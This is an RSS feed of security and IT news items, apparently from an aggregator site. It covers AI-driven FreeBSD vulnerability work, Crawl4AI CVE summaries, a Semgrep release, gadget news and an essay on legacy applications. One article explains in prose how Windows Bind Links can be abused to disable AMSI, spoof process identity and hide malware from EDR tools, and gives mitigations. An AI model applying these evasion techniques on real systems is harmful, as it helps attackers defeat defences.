Discovery Project</a>:</div><div> </div><div>"The 6-month project is being funded by a grant from the Alpha Omega project. </div><div> </div><div>The funds will be used to engage FreeBSD Security Team members under fixed-term contracts to find and patch vulnerabilities. </div><div> </div><div>The Security Team’s access to publicly available AI models and tokens will be provided free of charge. AI will be used for vulnerability discovery and analysis only, all patches will be manually created." </div><div> </div><div>Yes, 25 vulnerabilities is far lower than the 570 associated with Patch Tuesday this week. However, it's important to see the effects of AI-powered vulnerability discovery everywhere. It's not hype. It is real. </div><div> </div><div>I am hopeful that developers will continue to use AI to discover and fix vulnerabilities in old code, and also prevent new code from shipping with vulnerabilities. </div><div> </div><div>Addendum:</div><div> </div><div><div>I asked Gemini to explain the large number of advisories in 2001-2002. It said:</div><div> </div><div>"The
 pronounced security advisory spike between August 2000 and January 2001
 represents one of the most concentrated periods of security patching in
 FreeBSD's history, totaling 66 advisories in a six-month window.<br><br>A
 closer look at the specific advisories reveals that this spike was 
primarily driven by a massive wave of vulnerabilities discovered in 
popular third-party software (the "Ports" collection) along with 
critical auditing of core networking daemons.<br><br>1. Vulnerabilities in Popular Third-Party Software (Ports)<br><br>During
 this era, many open-source projects were grappling with newly pervasive
 exploitation techniques like buffer overflows and format string 
vulnerabilities. The dataset shows a massive batch of updates for staple
 utilities of the early-2000s internet:<br> </div><div>Internet
 &amp; Chat Clients: Multiple advisories were issued for communication 
tools, including the `pine` mail client, `xchat`, `gaim` (instant 
messaging), `bitchx` (IRC client), and the `netscape` web browser.</div><div> </div><div>Web
 &amp; Content Servers: Security flaws were patched in web servers and 
frameworks like `php`, `zope`, `thttpd`, and the `boa` web server.</div><div><br>Development
 &amp; System Tools: Popular utilities like `curl`, `gnupg`, `cvsweb`, 
`ethereal` (now Wireshark), `syslog-ng`, and even alternative 
shells/editors like `bash1` and `joe` required immediate security 
patches.<br> </div><div>2. Core System &amp; Network Infrastructure Patches<br><br>Alongside
 user-facing applications, the core FreeBSD development team had to 
address architectural and networking vulnerabilities in the base system:<br> </div><div>Routing
 &amp; Firewalls: Critical flaws were patched in basic networking 
security logic, notably `ipfw` (the firewall tool) and `ppp-nat` 
(Network Address Translation).</div><div> </div><div>Core
 Network Daemons: High-risk vulnerabilities struck standard network 
entry points, resulting in patches for `bind` (DNS server), `telnetd`, 
`dhclient`, and the newly adopted `openssh`.</div><div> </div><div>Protocol
 &amp; Kernel Level: Security advisories were issued for low-level 
system components like `tcp-iss` (Initial Sequence Number generation, 
crucial for preventing TCP hijacking) and filesystem-level wrappers like
 `procfs`.<br> </div><div>3. The Climax: January 2001<br><br>The
 spike peaked dramatically in January 2001 alone with 18 advisories. 
This was largely an administrative and security "housecleaning" event. 
Rather than a single massive system failure, it reflects a coordinated 
effort by the FreeBSD Security Officer team to bundle and ship security 
patches for dozens of utilities simultaneously—including `crontab`, 
`inetd`, `mysql`, and `xfree86`—ensuring systems were hardened as the 
platform matured." </div></div><div class="blogger-post-footer">Copyright 2003-2020 Richard Bejtlich and TaoSecurity (taosecurity.blogspot.com and www.taosecurity.com)</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Hacker können Bind-Link-Funktion in Windows zum Erstellen virtueller Pfade in ... - Netzpalaver]]></title>
<description><![CDATA[... Windows-Ereignisprotokoll von Windows (auch in den in Windows 11 oder Windows Server 2025 integrierten Versionen) aus. Gefährdet sind auch Windows ...]]></description>
<link>https://tsecurity.de/de/3673750/windows-server/hacker-koennen-bind-link-funktion-in-windows-zum-erstellen-virtueller-pfade-in-netzpalaver/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3673750/windows-server/hacker-koennen-bind-link-funktion-in-windows-zum-erstellen-virtueller-pfade-in-netzpalaver/</guid>
<pubDate>Thu, 16 Jul 2026 16:16:22 +0200</pubDate>
<category>🪟 Windows Server</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[... Windows-Ereignisprotokoll von Windows (auch in den in Windows 11 oder <b>Windows Server</b> 2025 integrierten Versionen) aus. Gefährdet sind auch Windows ...]]></content:encoded>
</item>
<item>
<title><![CDATA[Hacker können Bind-Link-Funktion in Windows zum Erstellen virtueller Pfade in ... - Netzpalaver]]></title>
<description><![CDATA[Weitere Beispiele für ein solches Mimikri haben die Experten der Bitdefender Labs nun dokumentiert: Hacker können Bind-Links, das legitime Tool zur ...]]></description>
<link>https://tsecurity.de/de/3673688/hacking/hacker-koennen-bind-link-funktion-in-windows-zum-erstellen-virtueller-pfade-in-netzpalaver/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3673688/hacking/hacker-koennen-bind-link-funktion-in-windows-zum-erstellen-virtueller-pfade-in-netzpalaver/</guid>
<pubDate>Thu, 16 Jul 2026 15:53:23 +0200</pubDate>
<category>🕵️ Hacking</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Weitere Beispiele für ein solches Mimikri haben die Experten der Bitdefender Labs nun dokumentiert: <b>Hacker</b> können Bind-Links, das legitime Tool zur ...]]></content:encoded>
</item>
<item>
<title><![CDATA[CVE-2026-26216 | unclecode Crawl4AI up to 0.7.x Docker API Deployment /crawl exec code injection]]></title>
<description><![CDATA[A vulnerability was found in unclecode Crawl4AI up to 0.7.x. It has been rated as critical. Impacted is the function exec of the file /crawl of the component Docker API Deployment. The manipulation leads to code injection.

This vulnerability is traded as CVE-2026-26216. It is possible to initiat...]]></description>
<link>https://tsecurity.de/de/3672824/sicherheitsluecken/cve-2026-26216-unclecode-crawl4ai-up-to-07x-docker-api-deployment-crawl-exec-code-injection/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3672824/sicherheitsluecken/cve-2026-26216-unclecode-crawl4ai-up-to-07x-docker-api-deployment-crawl-exec-code-injection/</guid>
<pubDate>Thu, 16 Jul 2026 10:40:22 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability was found in <a href="https://vuldb.com/product/unclecode:crawl4ai">unclecode Crawl4AI up to 0.7.x</a>. It has been rated as <a href="https://vuldb.com/kb/risk">critical</a>. Impacted is the function <code>exec</code> of the file <em>/crawl</em> of the component <em>Docker API Deployment</em>. The manipulation leads to code injection.

This vulnerability is traded as <a href="https://vuldb.com/cve/CVE-2026-26216">CVE-2026-26216</a>. It is possible to initiate the attack remotely. There is no exploit available.

Upgrading the affected component is advised.]]></content:encoded>
</item>
<item>
<title><![CDATA[CVE-2026-26217 | unclecode Crawl4AI up to 0.7.x Docker API Deployment /execute_js path traversal (GHSA-vx9w-5cx4-9796)]]></title>
<description><![CDATA[A vulnerability described as critical has been identified in unclecode Crawl4AI up to 0.7.x. Affected is an unknown function of the file /execute_js of the component Docker API Deployment. Executing a manipulation can lead to path traversal.

The identification of this vulnerability is CVE-2026-2...]]></description>
<link>https://tsecurity.de/de/3672822/sicherheitsluecken/cve-2026-26217-unclecode-crawl4ai-up-to-07x-docker-api-deployment-executejs-path-traversal-ghsa-vx9w-5cx4-9796/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3672822/sicherheitsluecken/cve-2026-26217-unclecode-crawl4ai-up-to-07x-docker-api-deployment-executejs-path-traversal-ghsa-vx9w-5cx4-9796/</guid>
<pubDate>Thu, 16 Jul 2026 10:40:19 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability described as <a href="https://vuldb.com/kb/risk">critical</a> has been identified in <a href="https://vuldb.com/product/unclecode:crawl4ai">unclecode Crawl4AI up to 0.7.x</a>. Affected is an unknown function of the file <em>/execute_js</em> of the component <em>Docker API Deployment</em>. Executing a manipulation can lead to path traversal.

The identification of this vulnerability is <a href="https://vuldb.com/cve/CVE-2026-26217">CVE-2026-26217</a>. The attack may be launched remotely. There is no exploit available.

Upgrading the affected component is recommended.]]></content:encoded>
</item>
<item>
<title><![CDATA[Lucid’s bankruptcy rumor is a bad sign for the EV future]]></title>
<description><![CDATA[Lucid Motors found itself in a tough bind this week, fending off bankruptcy rumors and watching its stock price plunge as a result. The company quickly denied the report, calling it "completely false" and pointing to its available free cash flow as evidence that it has enough runway to operate in...]]></description>
<link>https://tsecurity.de/de/3671514/it-nachrichten/lucids-bankruptcy-rumor-is-a-bad-sign-for-the-ev-future/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3671514/it-nachrichten/lucids-bankruptcy-rumor-is-a-bad-sign-for-the-ev-future/</guid>
<pubDate>Wed, 15 Jul 2026 19:33:18 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Lucid Motors found itself in a tough bind this week, fending off bankruptcy rumors and watching its stock price plunge as a result. The company quickly denied the report, calling it "completely false" and pointing to its available free cash flow as evidence that it has enough runway to operate into next year. But despite […]]]></content:encoded>
</item>
<item>
<title><![CDATA[Release v1.170.0]]></title>
<description><![CDATA[1.170.0 - 2026-07-15
### Added

Pro C/C++ scans now skip code inside statically-dead preprocessor branches
(for example, #if 0 ... #else ... #endif). Patterns that would otherwise
match against intentionally-disabled code no longer report on it. (cpp-if-zero-filter)
Restored obackward: semgrep-co...]]></description>
<link>https://tsecurity.de/de/3671455/it-security-tools/release-v11700/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3671455/it-security-tools/release-v11700/</guid>
<pubDate>Wed, 15 Jul 2026 19:19:12 +0200</pubDate>
<category>💾 IT Security Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2><a href="https://github.com/semgrep/semgrep/releases/tag/v1.170.0">1.170.0</a> - 2026-07-15</h2>
<h3>### Added</h3>
<ul>
<li>Pro C/C++ scans now skip code inside statically-dead preprocessor branches<br>
(for example, <code>#if 0 ... #else ... #endif</code>). Patterns that would otherwise<br>
match against intentionally-disabled code no longer report on it. (cpp-if-zero-filter)</li>
<li>Restored obackward: semgrep-core and semgrep-core-proprietary once again print a backtrace when receiving a fatal signal (e.g. SIGSEGV) (obackward)</li>
<li><code>semgrep install-semgrep-pro</code> now sends usage metrics so that<br>
installation errors can be tracked. Metrics can be disabled with<br>
<code>--metrics off</code> or <code>SEMGREP_SEND_METRICS=off</code>. Metrics payloads also<br>
now include the method used to install the Semgrep CLI (pip, homebrew,<br>
docker, or unknown), detected heuristically. See metrics.md for<br>
more details of what exactly is sent. (engine-2858)</li>
</ul>
<h3>### Changed</h3>
<ul>
<li>Increased the timeout for dynamic dependency resolution subprocesses from<br>
600 to 900 seconds, giving large projects more time to resolve dependencies<br>
before timing out. (SC-3699)</li>
<li>Pro C/C++ <code>#if 0</code> filtering now also handles cases where the directive splits a<br>
syntactic unit.  For example, a function signature toggle like <code>#if 0 void foo(int i) { #else void foo(uint32_t i) { #endif</code>. (engine-994)</li>
</ul>
<h3>### Fixed</h3>
<ul>
<li>
<p>Fixed a crash at startup (<code>Fatal error: Failed to allocate signal stack for domain 0</code>) when running Semgrep on systems with musl 1.2.6 (e.g. Alpine 3.24) on<br>
recent Intel CPUs whose kernel-reported minimum signal-stack size exceeds musl's<br>
build-time SIGSTKSZ (notably AMX-capable Xeons). (ENGINE-2863)</p>
</li>
<li>
<p>Dockerfile: Fixed parse errors on <code>RUN</code> instructions that use heredoc syntax<br>
(<code>&lt;&lt;EOF</code>, <code>&lt;&lt;-EOF</code>, quoted delimiters). (LANG-263)</p>
</li>
<li>
<p><code>metavariable-type</code> now supports fully qualified type names in languages<br>
where a qualified name in type position parses as an expression (e.g.<br>
Python's <code>types: [a.b.C]</code>) when the metavariable's type is determined by<br>
type inference, such as Pro engine cross-file type resolution. (LANG-583)</p>
</li>
<li>
<p>Updated the ocaml-tree-sitter-core dependency to the latest <code>main</code>.</p>
<ul>
<li>Fails loudly on a parser/runtime ABI mismatch</li>
<li>Stamps every generated <code>parser.c</code> with the tree-sitter version that produced it.</li>
<li>Changed paths where tree-sitter versions are installed (lang-591)</li>
</ul>
</li>
</ul>]]></content:encoded>
</item>
<item>
<title><![CDATA[New Windows Bind Link techniques let attackers evade EDR, security controls]]></title>
<description><![CDATA[Attackers who already have administrator privileges on a Windows machine have newer ways to slip past endpoint security without exploiting a vulnerable driver or modifying trusted binaries.



Bitdefender researchers have warned against three techniques that abuse Windows Bind Links, a legitimate...]]></description>
<link>https://tsecurity.de/de/3670748/it-security-nachrichten/new-windows-bind-link-techniques-let-attackers-evade-edr-security-controls/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3670748/it-security-nachrichten/new-windows-bind-link-techniques-let-attackers-evade-edr-security-controls/</guid>
<pubDate>Wed, 15 Jul 2026 15:09:35 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Attackers who already have administrator privileges on a Windows machine have newer ways to slip past endpoint security without exploiting a vulnerable driver or modifying trusted binaries.</p>



<p class="wp-block-paragraph">Bitdefender researchers have warned against three techniques that abuse Windows Bind Links, a legitimate filesystem virtualization capability, to occupy security tools with clean files while malicious ones execute undetected.</p>



<p class="wp-block-paragraph">The techniques can be used “to blind EDR sensors and bypass built-in Windows defenses such as AMSI and AppLocker,” the researchers said in a blog post shared with CSO ahead of its publication on Wednesday. Dubbed File Binding, Process-Binding, and Silo-Binding, the techniques exploit the way Windows’ Bind Filter driver “bindflt.sys” redirects file paths in memory.</p>



<p class="wp-block-paragraph">While Microsoft reportedly assessed the issues as low severity because exploiting the techniques requires admin privileges, Bitdefender argued its importance by comparing the threat to Bring Your Own Vulnerable Driver (<a href="https://www.csoonline.com/article/3600750/infostealers-are-using-byovd-to-steal-critical-system-data.html">BYOVD</a>) attacks.</p>



<p class="wp-block-paragraph">Microsoft did not immediately respond to CSO’s request for comment.</p>



<h2 class="wp-block-heading"><a></a>Three attack paths from one weakness</h2>



<p class="wp-block-paragraph">Bitdefender’s research focused on Bind Links, a Windows feature designed for legitimate virtualization scenarios such as Windows Sandbox, Windows containers, and Store applications. Bind Links operate entirely within “bindflt.sys,” allowing one file path to transparently resolve to another without creating a visible filesystem object or modifying the original file.</p>



<p class="wp-block-paragraph">Bitdefender demonstrated how attackers can progressively weaponize this capability.</p>



<p class="wp-block-paragraph">The first technique, File-Binding, redirects trusted DLL or file paths to attacker-controlled replacements. The researchers showed PowerShell loading what appeared to be a legitimate amsi.dll, but the Bind Link instead served a malicious DLL that exported identical functions while silently disabling malware scanning.</p>



<p class="wp-block-paragraph">Process-Binding extends the concept to executable files. Here, the researchers said, Windows reports a trusted executable like “winever.exe” is running, while the operating system actually executes another binary, such as cmd.exe. Because many security products rely on executable paths for allowlisting, signatures, and process identity, the mismatch can trick both security policies and analysts.</p>



<p class="wp-block-paragraph">The most sophisticated of the three, Silo-Binding, leverages Windows silos, the isolation technology in Windows containers, to present different filesystem views inside and outside an isolated environment. The researchers demonstrated a potential malware executing inside the silo as a trusted application, while security tools operating outside the silo read them as legitimate files.</p>



<p class="wp-block-paragraph">Bitdefender demonstrated bypasses against <a href="https://www.csoonline.com/article/1311082/north-koreas-lazarus-deploys-rootkit-via-applocker-zero-day-flaw.html">AppLocker</a>, Windows Firewall, Sysmon, and even executed Invoke-Mimikatz under a trusted process identity to evade detection.</p>



<h2 class="wp-block-heading"><a></a>A potential post-compromise attack vector</h2>



<p class="wp-block-paragraph">Addressing Microsoft’s low-severity assessment, the researchers noted these techniques to be effective post-compromise evasion attacks, rather than a remote code execution vulnerability.</p>



<p class="wp-block-paragraph">“Every Windows 10 RS4+ and Windows 11 system is exposed once an attacker has administrator access on it,” they said. “Every AV and EDR that trusts the image-file path returned by standard process-notification routines is affected.”</p>



<p class="wp-block-paragraph">Bitdefender also disclosed a related privilege escalation scenario involving Docker Desktop, where members of the “docker-users” group could leverage Bind Links to reach SYSTEM privileges.</p>



<p class="wp-block-paragraph">Following the disclosure, Docker reportedly updated its documentation to clarify the security implications of the group’s permissions.</p>



<p class="wp-block-paragraph">While Windows 24H2 introduces a veto mechanism that can block bind-link creations, the researchers described it as only a partial mitigation because it is limited to newer systems, applies only in certain scenarios, and can be bypassed.</p>



<p class="wp-block-paragraph">Instead, they recommended resolving the real backing file rather than trusting process paths, revalidating file identity whenever a file is reopened for hashing or scanning, and enumerating active bind-link mappings to detect silo-scoped abuse.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Windows Bind Link Attacks Can Hide Malware From EDR Tools]]></title>
<description><![CDATA[Bitdefender researchers show how Windows bind links can create conflicting filesystem views to hide malware from endpoint security products.
The post Windows Bind Link Attacks Can Hide Malware From EDR Tools appeared first on SecurityWeek.]]></description>
<link>https://tsecurity.de/de/3670746/it-security-nachrichten/windows-bind-link-attacks-can-hide-malware-from-edr-tools/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3670746/it-security-nachrichten/windows-bind-link-attacks-can-hide-malware-from-edr-tools/</guid>
<pubDate>Wed, 15 Jul 2026 15:09:33 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Bitdefender researchers show how Windows bind links can create conflicting filesystem views to hide malware from endpoint security products.</p>
<p>The post <a href="https://www.securityweek.com/windows-bind-link-attacks-can-hide-malware-from-edr-tools/">Windows Bind Link Attacks Can Hide Malware From EDR Tools</a> appeared first on <a href="https://www.securityweek.com/">SecurityWeek</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Satechi Brings Color-Matched Hubs And Mouse To The MacBook Neo]]></title>
<description><![CDATA[Apple made a few compromises to hit a low starting price for its newest budget laptop. The MacBook Neo ships with just two USB-C ports and a headphone jack, missing standard connections like HDMI or SD card slots. To fix this gap, accessory maker Satechi just dropped a brand new collection of hub...]]></description>
<link>https://tsecurity.de/de/3670272/ios-mac-os/satechi-brings-color-matched-hubs-and-mouse-to-the-macbook-neo/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3670272/ios-mac-os/satechi-brings-color-matched-hubs-and-mouse-to-the-macbook-neo/</guid>
<pubDate>Wed, 15 Jul 2026 12:10:07 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Apple made a few compromises to hit a low starting price for its newest budget laptop. The MacBook Neo ships with just two USB-C ports and a headphone jack, missing standard connections like HDMI or SD card slots. To fix this gap, accessory maker Satechi just dropped a brand new collection of hubs and a wireless mouse designed to perfectly match the four bright finishes of the new computer.



Expand connectivity with the portable OntheGo multiport adapter



The OntheGo 5-in-1 Multiport Adapter connects to the MacBook using a short nylon braided cable. It adds 4K video output at 60Hz, an SD card reader, one USB-A data port, and one USB-C data port. Both data ports support transfers up to five gigabits per second. It also allows up to 60 watts of pass-through charging.



This model includes a magnetic base that can attach to MagSafe iPhones and an adhesive ring that mounts directly to the laptop lid. Satechi notes this adapter also works well with standard MacBook Air models, high end MacBook Pro setups, and any USB-C iPad. It costs $44.99 and comes in Citrus, Blush, Indigo, and Silver.



Snag a clean look with the flush USB-C snap hub



If you want a more integrated design, the USB-C Snap Hub skips the cable entirely. It plugs directly into both of the offset USB-C ports on the side of the computer. The flush design looks incredibly clean and was shaped specifically to fit the unique edges of the new entry-level laptop.



This hub costs $44.99 and offers six connections that can all operate at the same time. You get HDMI output at 4K and 60Hz, USB-A and USB-C data ports, plus both SD and microSD card readers. The pass-through charging is slightly lower on this model, capped at 45 watts.



Complete the setup with a colorful wireless slim mouse



To finish off the matching aesthetic, Satechi released the Slim EX Wireless Mouse for $29.99. It features an aluminum body with quiet click switches and a machined metal scroll wheel. You can connect it to two devices via Bluetooth and a third device using an included wireless receiver.



In a rare move for this category, the mouse uses a rechargeable battery that the user can actually replace.



Instead of picking accessories that clash with the colorful design of your new machine, this collection offers a practical and stylish fix. You can grab all three products right now through Satechi or Amazon to give your budget laptop the exact ports you need for daily work.]]></content:encoded>
</item>
<item>
<title><![CDATA[The trillion-dollar question: When should legacy applications make way for AI?]]></title>
<description><![CDATA[If you just read the headlines, it would seem as if AI is now writing all of the world’s code and powering every application businesses run on.



That’s far from true. Just 4 of 33 AI pilots reach production, according to IDC Research — leaving legacy applications still fueling the wheels of com...]]></description>
<link>https://tsecurity.de/de/3670220/it-nachrichten/the-trillion-dollar-question-when-should-legacy-applications-make-way-for-ai/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3670220/it-nachrichten/the-trillion-dollar-question-when-should-legacy-applications-make-way-for-ai/</guid>
<pubDate>Wed, 15 Jul 2026 12:03:08 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">If you just read the headlines, it would seem as if AI is now writing all of the world’s code and powering every application businesses run on.</p>



<p class="wp-block-paragraph">That’s far from true. Just 4 of 33 AI pilots reach production, according to<a href="https://investor.lenovo.com/en/global/Lenovo_CIO_Playbook_2025.pdf"> IDC Research </a>— leaving legacy applications still fueling the wheels of commerce. This “silent majority” represents trillions of dollars spent each year on building, maintaining, testing, validating and monitoring legacy applications.</p>



<p class="wp-block-paragraph">These applications won’t be replaced overnight. Companies and organizations depend on their predictability. The 60-plus-year-old COBOL programming language remains the backbone of banking software for good reason: it is extraordinarily efficient at processing massive transaction volumes with precision. Furthermore, do you want your bank revolutionizing how they manage your money? Probably not.</p>



<p class="wp-block-paragraph">So, while AI investment continues to build inside the software development lifecycle (SDLC), it isn’t instantly rendering older software obsolete. What it will do is steadily enable easier tweaking, updating and testing of legacy applications — and in some cases, full migrations to modern platforms. And really, this isn’t a new phenomenon. Businesses have always looked to wring more efficiency and profit from existing products through intelligent prioritization.</p>



<p class="wp-block-paragraph">The argument then is that CIOs and CTOs can take a proactive look at their legacy application portfolios to determine which ones, if any, should migrate sooner. Five considerations can help guide that decision.</p>



<h2 class="wp-block-heading">Before replacing legacy apps with AI, ask these 5 important questions</h2>



<h3 class="wp-block-heading">1. Does the legacy application still work?</h3>



<p class="wp-block-paragraph">Is its utility still there? Customers often appreciate the consistency of legacy applications. They’re reliable, predictable and well understood. Don’t fix what isn’t broken. Another way to think about this is the degree to which the <em>technical approach</em> of your legacy application is still viable. It’s pretty much a guarantee nowadays in software that an application built one way, with some set of technologies, would be built a totally different way just two to three years later. There is no avoiding that, but what you want to avoid is investing further into a technical approach powering a legacy application that has been completely replaced with new software or a technical approach, especially if it is 10x better across the vectors of software development (latency, cost, accuracy).</p>



<h3 class="wp-block-heading">2. Does it still make financial sense?</h3>



<p class="wp-block-paragraph">Running a system over a long period amortizes costs significantly. Even as growth rates slow or plateau, it can still be less expensive to let legacy applications run than to overhaul them. Another way to think about this is: how viable is my <em>customer base</em> in the near-term and the long-term? If you anticipate modest—or even flat—earnings growth for your product, then that’s an indicator that it’s possibly worth optimizing your development processes with AI. Where it’s probably not worth investing is when you have no confidence in your future earnings, whether that’s due to the customer base shrinking or commoditization or something else.</p>



<h3 class="wp-block-heading">3. Can you integrate AI into existing workflows?</h3>



<p class="wp-block-paragraph">A significant portion of upcoming software development lifecycle work will focus on refactoring applications to be more AI-native. Some legacy applications may be strong candidates for a full AI rebuild, while others are better positioned for an AI add-on. <a href="https://www.gartner.com/en/newsroom/press-releases/2026-04-07-gartner-says-artificial-intelligence-projects-in-infrastructure-and-operations-stall-ahead-of-meaningful-roi-returns">Gartner </a>research from 2025 found that only 28% of AI use cases in infrastructure and operations fully succeeded.</p>



<p class="wp-block-paragraph">Among those that did, success was attributed primarily to integrating AI into existing workflows and systems. “As AI becomes part of day‑to‑day operations, it boosts adoption and creates visible impact within the organization,” Gartner states.</p>



<p class="wp-block-paragraph">It’s important to keep in mind the distinction between using AI to optimize an existing process or workflow within your application, versus powering a workflow or feature with AI. The former approach is more palatable for legacy applications because it generally doesn’t change the cost profile of running that application. In the latter case, if you’re introducing an AI-powered module into the application, you’re generally going to incur inference costs at runtime, and they are an order of magnitude more expensive for today’s frontier models than base compute.</p>



<h3 class="wp-block-heading">4. Do you have documented processes for maintaining legacy applications?</h3>



<p class="wp-block-paragraph">If so, you’ll more quickly identify where AI can optimize. The more coherent, organized and detailed processes are, the faster AI can find its footing and drive tangible efficiency gains. If documentation is lacking, start there. Keep detailed instructions and workflows for how you do things. Consistency matters. Don’t do things by heart. Don’t approach tasks casually, and don’t do things differently each time. The more uniform your process, the more easily you can insert AI into discrete steps and achieve efficiencies without disrupting the broader software development lifecycle. The organization in the most precarious position is the one managing legacy applications with no documented process for doing so.</p>



<h3 class="wp-block-heading">5. Can you prioritize?</h3>



<p class="wp-block-paragraph">Making a change to a piece of legacy software might involve 20 or more steps. Only one or two of those steps may be clear candidates for AI-driven optimization. Identifying and prioritizing those opportunities will help you realize early wins and build the case for broader return on investment. Also, not all candidates for optimization make sense in light of broader financial and operational constraints. As always, prioritize ruthlessly in favor of ROI—bang for your buck. If your team has been struggling to operate a particular part of your system due to a lack of expertise or time, you might consider using AI to buttress the maintenance of that component. Having AI own that part of the workflow might unlock big time savings—or it might erode crucial domain knowledge that your team used to possess through repetition. There is no one-size-fits-all; think through the second-order effects.</p>



<h2 class="wp-block-heading">Adding AI in testing in the SDLC</h2>



<p class="wp-block-paragraph">Beyond coding and application development, AI is opening new possibilities in how we test software. As leaders examine processes and look for places to insert AI, testing is often a natural entry point. There has been substantial innovation here, including new autonomous AI-driven testing solutions, those that have been enhanced with AI, and hybrid approaches that blend both. Each organization will be at a different place in its AI journey. Testing solutions exist to meet everyone where they are. Also, the state of applications will help determine which approach fits best—and when it fits as you evolve applications.</p>



<p class="wp-block-paragraph">Of course, there is some substance to the AI hype around how much code AI will write and how many applications it is already creating faster than ever. But one school of thought is that AI’s biggest economic impact will be in the creation of massive new markets and industries rather than in the complete displacement of existing industries. Regardless of how far AI takes us through the universe, it’ll take some time and it’ll be bankrolled by the trillions of dollars of existing products and industries that we depend on every day.</p>



<p class="wp-block-paragraph">That’s all good news for legacy players, but no one can afford to stay still. AI capabilities are advancing rapidly. Make it a habit to revisit legacy applications and workflows regularly. The right moment to introduce AI will keep shifting, and staying ahead of it is a competitive advantage.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Microsoft Patches 570 CVEs in Record Patch Tuesday]]></title>
<description><![CDATA[Microsoft released fixes for a record 570 CVEs in its July Patch Tuesday update, as experts warn AI is dramatically accelerating vulnerability discovery and increasing patch volumes]]></description>
<link>https://tsecurity.de/de/3670180/it-security-nachrichten/microsoft-patches-570-cves-in-record-patch-tuesday/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3670180/it-security-nachrichten/microsoft-patches-570-cves-in-record-patch-tuesday/</guid>
<pubDate>Wed, 15 Jul 2026 11:35:36 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Microsoft released fixes for a record 570 CVEs in its July Patch Tuesday update, as experts warn AI is dramatically accelerating vulnerability discovery and increasing patch volumes]]></content:encoded>
</item>
<item>
<title><![CDATA[Download der Woche: Beszel]]></title>
<description><![CDATA[Download der Woche: Beszel

      
      
        
          
            
                



            
          
        
              
    
  Lars Nitsch
Mi., 15.07.2026 - 07:00


            Den Zustand von Servern und Containern im Blick zu behalten, muss nicht zwangsläufig eine umfangr...]]></description>
<link>https://tsecurity.de/de/3670014/server/download-der-woche-beszel/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3670014/server/download-der-woche-beszel/</guid>
<pubDate>Wed, 15 Jul 2026 10:30:25 +0200</pubDate>
<category>🐧 Server</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<span class="field field--name-title field--type-string field--label-hidden">Download der Woche: Beszel</span>

      <div class="field field--name-field-image field--type-image field--label-hidden field__items">
      <div class="images-container clearfix">
        <div class="image-preview clearfix">
          <div class="image-wrapper clearfix">
            <div class="field__item">
                <a class="image-popup overlayed" href="https://www.it-administrator.de/download-der-woche-beszel"><img loading="lazy" src="https://www.it-administrator.de/sites/default/files/styles/medium/public/beszel_wide.jpg?itok=1vXsIPYO" width="480" height="319" alt="Dashboard der Open-Source-Software Beszel mit Diagrammen zur CPU-, Speicher- und Datenträgerauslastung sowie zur Überwachung mehrerer Linux-Server und Docker-Container." title="Beszel fasst die Auslastung von Linux-Servern und Docker-Containern in einer zentralen Weboberfläche zusammen und visualisiert Systemkennzahlen in Echtzeit." typeof="foaf:Image" class="image-style-medium">

<span class="overlay"><i class="fa fa-plus"></i></span></a>

            </div>
          </div>
        </div>
              </div>
    </div>
  <span class="field field--name-uid field--type-entity-reference field--label-hidden"><a title="Benutzerprofil anzeigen." href="https://www.it-administrator.de/user/109" lang about="https://www.it-administrator.de/user/109" typeof="schema:Person" property="schema:name" datatype class="username">Lars Nitsch</a></span>
<span class="field field--name-created field--type-created field--label-hidden"><time datetime="2026-07-15T07:00:00+02:00" title="Mittwoch, Juli 15, 2026 - 07:00" class="datetime">Mi., 15.07.2026 - 07:00</time>
</span>

